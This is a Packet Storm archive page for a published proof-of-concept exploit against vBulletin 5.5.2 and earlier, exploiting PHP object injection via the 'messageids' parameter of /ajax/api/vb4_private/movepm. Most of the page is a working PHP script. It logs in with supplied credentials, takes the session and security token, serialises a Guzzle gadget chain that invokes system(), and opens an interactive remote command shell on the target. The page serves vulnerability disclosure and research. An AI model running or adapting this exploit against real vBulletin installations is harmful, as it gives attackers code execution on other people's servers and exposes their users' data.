exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

vBulletin 5.5.2 PHP Object Injection

vBulletin 5.5.2 PHP Object Injection
Posted Nov 28, 2022
Authored by EgiX | Site karmainsecurity.com

vBulletin versions 5.5.2 and below suffers from an issue where user input passed through the "messageids" request parameter to /ajax/api/vb4_private/movepm is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope, allowing them to carry out a variety of attacks, such as executing arbitrary PHP code.

tags | exploit, arbitrary, php
SHA-256 | 642eb80065f04eaf2d94765043c9d033ac86f7e4e3dda966ce90660dd7167e15

vBulletin 5.5.2 PHP Object Injection

Change Mirror Download
<?php

/*
--------------------------------------------------------------
vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability
--------------------------------------------------------------

author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.vbulletin.com

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerability Description:

User input passed through the "messageids" request parameter to /ajax/api/vb4_private/movepm is
not properly sanitized before being used in a call to the unserialize() PHP function. This can
be exploited by malicious users to inject arbitrary PHP objects into the application scope,
allowing them to carry out a variety of attacks, such as executing arbitrary PHP code.

[-] Technical writeup:

http://karmainsecurity.com/exploiting-an-nday-vbulletin-php-object-injection
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!\n");

print "+------------------------------------------------------------------+";
print "\n| vBulletin <= 5.5.2 (movepm) PHP Object Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";

if ($argc != 4)
{
print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";
print "\nExample....: php $argv[0] http://localhost/vb/ user passwd";
print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n";
die();
}

class googlelogin_vendor_autoload {} // fake class to include the autoloader

class GuzzleHttp_HandlerStack
{
private $handler, $stack;

function __construct($cmd)
{
$this->stack = [["system"]]; // the callback we want to execute
$this->handler = $cmd; // argument for the callback
}
}

class GuzzleHttp_Psr7_FnStream
{
function __construct($callback)
{
$this->_fn_close = $callback;
}
}

function make_popchain($cmd)
{
$pop = new GuzzleHttp_HandlerStack($cmd);
$pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);

$chain = serialize([new googlelogin_vendor_autoload, $pop]);

$chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);
$chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);
$chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);
$chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);

return $chain;
}

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

$ch = curl_init();

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

print "[+] Logging in with username '{$user}' and password '{$pass}'\n";

curl_setopt($ch, CURLOPT_URL, $url);

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Session ID not found!\n");

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Login failed!\n");

print "[+] Logged-in! Retrieving security token\n";

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);

if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[+] Security token not found!\n");

$params = ["routestring" => "ajax/api/vb4_private/movepm",
"securitytoken" => $token[1],
"folderid" => 1];

print "[+] Launching shell\n";

while(1)
{
print "\nvb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$params["messageids"] = make_popchain($cmd);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
preg_match('/(.*){"response":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close